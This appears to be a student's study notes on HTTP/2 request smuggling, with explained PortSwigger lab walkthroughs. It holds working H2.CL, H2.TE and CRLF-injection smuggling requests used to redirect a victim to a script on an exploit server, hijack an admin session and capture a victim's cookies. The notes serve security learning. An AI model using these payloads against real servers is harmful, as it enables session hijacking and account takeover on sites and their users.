HTTP/2 Request Smuggling

HTTP/2 Message Length

HTTP/2 messages are sent over the wire as a series of separate “frames”. Each frame is preceded by an explicit length field, which tells the server exactly how many bytes to read in. Therefore, the length (or HTTP/2 implicit length) of the request is the sum of its frame lengths.

Seealso

HTTP2 - Wireshark Wiki

HTTP/2 Downgrading

HTTP/2 downgrading is the process of rewriting HTTP/2 requests using HTTP/1 syntax to generate an equivalent HTTP/1 request. Web servers and reverse proxies often do this in order to offer HTTP/2 support to clients while communicating with back-end servers that only speak HTTP/1.

When the HTTP/1-speaking back-end issues a response, the front-end server reverses this process to generate the HTTP/2 response that it returns to the client.

This works because each version of the protocol is fundamentally just a different way of representing the same information.

H2.CL Vulnerabilities

During downgrading, front-end servers often add an HTTP/1 Content-Length header based on the HTTP/2 implicit length. If the HTTP/2 request already has a Content-Length header, some servers reuse it in the HTTP/1 request.

The specification requires this header to match the HTTP/2 implicit length, but improper validation can allow request smuggling by injecting a misleading Content-Length header.

For example:

Front-end (HTTP/2):

:method	POST
:path	/example
:authority	vulnerable-website.com
content-type	application/x-www-form-urlencoded
content-length	0
 
GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10
 
x=1

Back-end (HTTP/1.1):

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
 
GET /admin HTTP/1.1              <-- Start of next request
Host: vulnerable-website.com
Content-Length: 10
 
x=1GET / H

Tip

In some request smuggling attacks, you may want the victim’s headers appended to your smuggled prefix, but this can cause duplicate header errors. To prevent this, add a trailing parameter and use a Content-Length header slightly longer than the body.

Lab: H2.CL Request Smuggling

Abstract

Front-end server downgrades HTTP/2 requests even if they have an ambiguous length.

To solve the lab, perform a request smuggling attack that causes the victim’s browser to load and execute a malicious JavaScript file from the exploit server, calling alert(document.cookie). The victim user accesses the home page every 10 seconds.

Hint

Solving this lab requires a technique that we covered in Using HTTP Request Smuggling to Turn an On-site Redirect into an Open Redirect.

Info

Follow the solution to solve this lab.

Add a Content-Length: 1 header to any request and send it, receive this response:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
 
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>

This confirms the back-end server accepts the Content-Length header so it waits for one more byte, which causes the timed-out error.

Found a request that causes on-site redirect:

GET /resources HTTP/2
Host: 0a24009a03405cda80020d6700160084.web-security-academy.net
 
HTTP/2 302 Found
Location: https://0a24009a03405cda80020d6700160084.web-security-academy.net/resources/
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Info

The /resources/js and /resources/images endpoints also have the same behaviour.

Construct the attack request:

POST / HTTP/2
Content-Length: 0
 
GET /resources HTTP/1.1
Host: foo
Content-Length: 3
 
x=

The front-end server will use the HTTP/2 implicit length to identify the length of the request so the first Content-Length will be omitted by the front-end server. Therefore, the front-end server will forward all of its request body to back-end server.

The back-end server see the forwarded request as 2 requests due to the Content-Length: 0 line:

POST / HTTP/2
Content-Length: 0
 
 
GET /resources HTTP/1.1
Host: foo
Content-Length: 3
 
x=

The first one will be processed but the second one will be queued as back-end servers expects one more byte in the request body. As a result, any subsequent request will be prepended with the second request.

Response after sending the attack request twice:

HTTP/2 302 Found
Location: https://foo/resources/
X-Frame-Options: SAMEORIGIN
Content-Length: 0

As we can see, we can control the host name via Host header in the smuggled request.

Store alert(document.cookie) on exploit server at /resources endpoint. Then, change Host to exploit server’s hostname:

POST / HTTP/2
Content-Length: 0
 
GET /resources HTTP/1.1
Host: exploit-0a4d004f03f80bdd814a337d01570078.exploit-server.net
Content-Length: 3
 
x=

Send the request twice and the second response shows that we can redirect to a malicious script on the exploit server:

HTTP/2 302 Found
Location: https://exploit-0a4d004f03f80bdd814a337d01570078.exploit-server.net/resources/
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Send the attack request and wait as the victim will access the home page every 10 seconds:

10.0.3.11       2024-09-07 15:30:08 +0000 "GET /resources/ HTTP/1.1" 200 "user-agent: Chrome/116684"
116.111.184.204 2024-09-07 15:30:15 +0000 "GET /log HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
116.111.184.204 2024-09-07 15:30:15 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
10.0.3.11       2024-09-07 15:30:18 +0000 "GET /resources/ HTTP/1.1" 200 "user-agent: Chrome/116684"
116.111.184.204 2024-09-07 15:30:28 +0000 "GET /log HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
116.111.184.204 2024-09-07 15:30:28 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
10.0.3.11       2024-09-07 15:30:28 +0000 "GET /resources/ HTTP/1.1" 200 "user-agent: Chrome/116684"

H2.TE Vulnerabilities

Chunked transfer encoding is incompatible with HTTP/2 and the spec recommends that any transfer-encoding chunked header you try to inject should be stripped or the request blocked entirely.

If the front-end server fails to do this, and subsequently downgrades the request for an HTTP/1 back-end that does support chunked encoding, this can also enable request smuggling attacks.

For example:

Front-end (HTTP/2):

:method	POST
:path	/example
:authority	vulnerable-website.com
content-type	application/x-www-form-urlencoded
transfer-encoding	chunked
 
0
 
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

Back-end (HTTP/1):

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

Hidden HTTP/2 Support

Some servers support HTTP/2 but may not declare it properly due to misconfiguration, causing clients to fall back to HTTP/1.1. This can lead testers to overlook potential HTTP/2 attack surfaces, including downgrade-based request smuggling.

Response Queue Poisoning

HTTP/2 Request Splitting

In HTTP/1.1, a full CRLF sequence in a header’s value indicates that the current header is terminated and a new one will start on the next line. However, since HTTP/2 is not plain text based and is instead binary based, CRLF sequences have no specific meaning.

In a case where HTTP downgrading is in play, the back-end server may split the header containing the CRLF sequence into two separate headers for the HTTP/1.1 request.

Important

This can be used when the Content-Length is validated and the back-end server doesn’t support chunked encoding.

Lab: HTTP/2 Request Splitting via CRLF Injection

Abstract

Front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers.

To solve the lab, delete the user carlos by using Response Queue Poisoning to break into the admin panel at /admin. An admin user will log in approximately every 10 seconds.

The connection to the back-end is reset every 10 requests, so don’t worry if you get it into a bad state - just send a few normal requests to get a fresh connection.

Hint

To inject newlines into HTTP/2 headers, use the Inspector to drill down into the header, then press the Shift + Return keys. Note that this feature is not available when you double-click on the header.

Info

Follow the solution to solve this lab.

Due to the binary format of HTTP/2, we need to edit value of header in “Inspector” tab of the request.

Add a header named foo to any GET request with the following value:

bar
 
GET /admin HTTP/1.1
Host: 0aea00c804e2bb5583c134a4004800bd.web-security-academy.net

Though it looks like a normal header of HTTP/1.1, in HTTP/2 the CRLF sequence has no special meaning so the above value just like this:

bar\r\n\r\nGET /admin HTTP/1.1\r\nHost: 0aea00c804e2bb5583c134a4004800bd.web-security-academy.net

The front-end server will append \r\n\r\n to the end of the request, making the value of foo header a separate request.

Send the GET request a couple of times with some delays between each time until we found this response:

HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=84wJ6NDkCLvkVsnl6Sz4gkUDaRWqg0rD; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Use this cookie to access /admin as well as delete carlos user for solving the lab.

Accounting for Front-end Rewriting

To split a request in the headers, you also need to understand how the request is rewritten by the front-end server and account for this when adding any HTTP/1 headers manually. Otherwise, one of the requests may be missing mandatory headers.

For example, you need to ensure that both requests received by the back-end contain a Host header. Front-end servers typically strip the :authority pseudo-header and replace it with a new HTTP/1 Host header during downgrading.

Consider the following request:

HeaderValue
:methodGET
:path/
:authorityvulnerable-website.com
foobar\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com

During rewriting, some front-end servers append the new Host header to the end of the current list of headers. As far as an HTTP/2 front-end is concerned, this after the foo header. This means that the first request would have no Host header at all, while the smuggled request would have two.

In this case, you need to position your injected Host header so that it ends up in the first request once the split occurs:

HeaderValue
:methodGET
:path/
:authorityvulnerable-website.com
foobar\r\nHost: vulnerable-website.com\r\n\r\nGET /admin HTTP/1.1

Tip

In the example above, we’ve split the request to trigger Response Queue Poisoning, but this method can also smuggle prefixes for classic request smuggling.

Lab: HTTP/2 Request Smuggling via CRLF Injection

Abstract

Front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers.

To solve the lab, use an HTTP/2-exclusive request smuggling vector to gain access to another user’s account. The victim accesses the home page every 15 seconds.

Info

Partially follow the solution to solve this lab.

Add a Transfer-Encoding header without content:

HeaderValue
:methodGET
:path/
:authority0ae4000c04545c608206b1b000ff00a8.web-security-academy.net
foobar\r\nTransfer-Encoding: chunked

Send the above request and the response is:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
 
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>

This response shows that the back-end server accepts the Transfer-Encoding header and expect one more byte in the request body, which leads to a timed-out error.

Add the following data to request body:

0
 
SMUGGLED

The response after send the request twice shows that SMUGGLED was prepended before a subsequent request:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=NMKAW4yGLwwPuejqNhkfcpPNJWqnj4so; Secure; HttpOnly; SameSite=None
Set-Cookie: _lab_analytics=hlSmsTk9KlvyBbouFjq806hFOxRuvqqnNdZFUcBuS93y7CJyt1oHsFUcVu3ConWcEv49EzTNPHkq2aAmujt6txRhAN50gPw41EgrDgiZQG618vNT2qr8hhFhe5Ft664bSqLNvKEbGwDkyhjqNFyTWp3aveK1iDIyW37DoQ2OukRBhjVaneujv7M6642kKyXENc6xGzZi7f9NmfzvuZiX5SzunKdmfwlPnln1NFaNiTYkgEJf7D5jTt2jPOmAbAk6; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11
 
"Not Found"

Also test for Content-Length header:

HeaderValue
:methodGET
:path/
:authority0ae4000c04545c608206b1b000ff00a8.web-security-academy.net
foobar\r\nContent-Length: 1

Send the request once and the response is:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Content-Length: 61
 
{"error":"Only one Content-Length header should be provided"}

This is due to the subsequent request having another Content-Length, which makes duplication happens.

We convert the subsequent request’s headers into request body by using a longer Content-Length and a trailing param:

HeaderValue
:methodGET
:path/
:authority0ae4000c04545c608206b1b000ff00a8.web-security-academy.net
foobar\r\nContent-Length: 300\r\n\r\nx=

Send the request once and the timed-out error happens:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
 
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>

So, we now confirm that we can smuggle a request via header’s value by using CRLF injection.

We found that there is a request that displays search history based on the session cookie:

POST / HTTP/2
Cookie: session=2s0FnGjuZV2GwH3BdC3sXQ1Saqevks5h
 
search=hello2
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3488
 
...
<section class=blog-header>
	<h1>0 search results for 'hello2'</h1>
	<hr>
</section>
<label>Recent searches:</label>
<ul>
	<li><a href="/?search=hello2">hello2</a></li>
	<li><a href="/?search=hello">hello</a></li>
</ul>

Smuggle a request with our cookie using Transfer-Encoding approach:

HeaderValue
:methodGET
:path/
:authority0ae4000c04545c608206b1b000ff00a8.web-security-academy.net
foobar\r\nTransfer-Encoding: chunked

Request body:

0
 
POST / HTTP/1.1
Host: 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net
Cookie: session=2s0FnGjuZV2GwH3BdC3sXQ1Saqevks5h
Content-Length: 1500
 
search=x

Send the attack request and send a request to / for checking whether we can capture the victim’s request.

If we are lucky, there will be a search history entry like this:

<label>Recent searches:</label>
<ul>
<li><a href="/?search=xGET+%2f+HTTP%2f1.1%0d%0aHost%3a+0ae4000c04545c608206b1b000ff00a8.web-security-academy.net%0d%0asec-ch-ua%3a+%22Google+Chrome%22%3bv%3d%22125%22%2c+%22Chromium%22%3bv%3d%22125%22%2c+%22Not.A%2fBrand%22%3bv%3d%2224%22%0d%0asec-ch-ua-mobile%3a+%3f0%0d%0asec-ch-ua-platform%3a+%22Linux%22%0d%0aupgrade-insecure-requests%3a+1%0d%0auser-agent%3a+Mozilla%2f5.0+%28Victim%29+AppleWebKit%2f537.36+%28KHTML%2c+like+Gecko%29+Chrome%2f125.0.0.0+Safari%2f537.36%0d%0aaccept%3a+text%2fhtml%2capplication%2fxhtml%2bxml%2capplication%2fxml%3bq%3d0.9%2cimage%2favif%2cimage%2fwebp%2cimage%2fapng%2c*%2f*%3bq%3d0.8%2capplication%2fsigned-exchange%3bv%3db3%3bq%3d0.7%0d%0asec-fetch-site%3a+none%0d%0asec-fetch-mode%3a+navigate%0d%0asec-fetch-user%3a+%3f1%0d%0asec-fetch-dest%3a+document%0d%0aaccept-encoding%3a+gzip%2c+deflate%2c+br%2c+zstd%0d%0aaccept-language%3a+en-US%2cen%3bq%3d0.9%0d%0apriority%3a+u%3d0%2c+i%0d%0acookie%3a+victim-fingerprint%3djFP5uRgrEyzLntopcmqPbTK19VBe2Roh%3b+secret%3dfZut3l0HHNQYC7cnr7qhDCFnuIJDECXG%3b+session%3d4JDNknactqmtzDk76YVJpDhmHozmZcLa%3b+_lab_analytics%3dtMZB6CvzkkEAUV6FO2p5tJaU6rwliY2ykONbbwC4aexg8mjkURQQaYJPp0bEdnpwhFStmHWXwSPD284EuDXj8L2uuKYLEfDPHdwVCuTY7GHftLyUdBM5rsodbncQxW6vJzPyHR8mYSeIJjdjvmJFlsgUXU8QI">xGET / HTTP/1.1
Host: 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net
sec-ch-ua: &quot;Google Chrome&quot;;v=&quot;125&quot;, &quot;Chromium&quot;;v=&quot;125&quot;, &quot;Not.A/Brand&quot;;v=&quot;24&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Linux&quot;
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US,en;q=0.9
priority: u=0, i
cookie: victim-fingerprint=jFP5uRgrEyzLntopcmqPbTK19VBe2Roh; secret=fZut3l0HHNQYC7cnr7qhDCFnuIJDECXG; session=4JDNknactqmtzDk76YVJpDhmHozmZcLa; _lab_analytics=tMZB6CvzkkEAUV6FO2p5tJaU6rwliY2ykONbbwC4aexg8mjkURQQaYJPp0bEdnpwhFStmHWXwSPD284EuDXj8L2uuKYLEfDPHdwVCuTY7GHftLyUdBM5rsodbncQxW6vJzPyHR8mYSeIJjdjvmJFlsgUXU8QI</a></li>

As we can see, our smuggled request was prepended to a request made by the victim. As a result, the victim’s request was stored in the history tied with our session cookie.

Note

If we can not capture the victim’s request, just send the attack request again and wait for 15 seconds before refresh the home page.

Use the leaked cookies to access /my-account page for solving the lab.

We can also use the Content-Length approach:

HeaderValue
:methodGET
:path/
:authority0ae4000c04545c608206b1b000ff00a8.web-security-academy.net
foobar\r\nContent-Length: 0\r\n\r\nPOST / HTTP/1.1\r\nHost: 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net\r\nCookie: session=geNR5tsQIQoMhBcgdyoWorfGOgLuU4hb\r\nContent-Length: 1000\r\n\r\nsearch=x

HTTP Request Tunnelling

list
from outgoing([[Port Swigger - Advanced Request Smuggling]])
sort file.ctime asc

Resources